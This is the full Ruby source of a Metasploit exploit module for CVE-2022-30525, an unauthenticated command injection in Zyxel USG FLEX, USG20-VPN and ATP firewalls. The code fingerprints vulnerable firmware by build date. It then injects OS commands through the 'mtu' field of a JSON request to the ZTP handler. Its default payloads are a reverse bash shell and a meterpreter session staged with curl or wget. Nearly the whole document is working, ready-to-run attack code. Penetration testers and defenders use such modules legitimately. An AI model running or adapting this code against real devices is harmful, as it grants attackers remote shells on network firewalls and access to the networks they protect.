Zyxel Firewall ZTP Unauthenticated Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits CVE-2022-30525, an unauthenticated remote
          command injection vulnerability affecting Zyxel firewalls with zero
          touch provisioning (ZTP) support. By sending a malicious setWanPortSt
          command containing an mtu field with a crafted OS command to the
          /ztp/cgi-bin/handler page, an attacker can gain remote command execution
          as the nobody user.

          Affected Zyxel models are:

          * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
          * USG20-VPN and USG20W-VPN using firmware 5.21 and below
          * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2022-30525' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']
        ],
        'DisclosureDate' => '2022-04-28',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPS64,],
        'Privileged' => false,
        'Targets' => [
          [
            'Shell Dropper',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPS64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  # Checks the build date that is embedded in the landing page. If it finds a build
  # date older than April 20, 2022 then it will additionally check if the model is
  # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this
  # seems like a reasonable approach.
  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))
    unless res
      return CheckCode::Unknown('The target failed to respond to check.')
    end

    unless res.code == 200
      return CheckCode::Safe('Failed to retrieve /')
    end

    ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
    if ver.nil?
      return CheckCode::Safe('Could not extract a version number')
    end

    if ver[0..5].to_i < 220420
      model = res.get_html_document.xpath('//title').text
      if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
        return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
      end
    end

    CheckCode::Safe("This determination is based on the build date string: #{ver}.")
  end

  def execute_command(cmd, _opts = {})
    handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')
    print_status("Sending command to #{handler_uri}")

    # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too
    # but it's more involved.
    http_payload = {
      'command' => 'setWanPortSt',
      'proto' => 'dhcp',
      'port' => Rex::Text.rand_text_numeric(4).to_s,
      'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,
      'vlanid' => Rex::Text.rand_text_numeric(4).to_s,
      'mtu' => ";#{cmd};",
      'data' => ''
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => handler_uri,
      'headers' =>
      {
        'Content-Type' => 'application/json; charset=utf-8'
      },
      'data' => http_payload.to_json
    })
    # Successful exploitation can result in no response (connection being held open by a reverse shell)
    # or, if the command executes immediately, a response with a 503.
    if res && res.code != 503
      fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
    end
    print_good('Command successfully executed.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end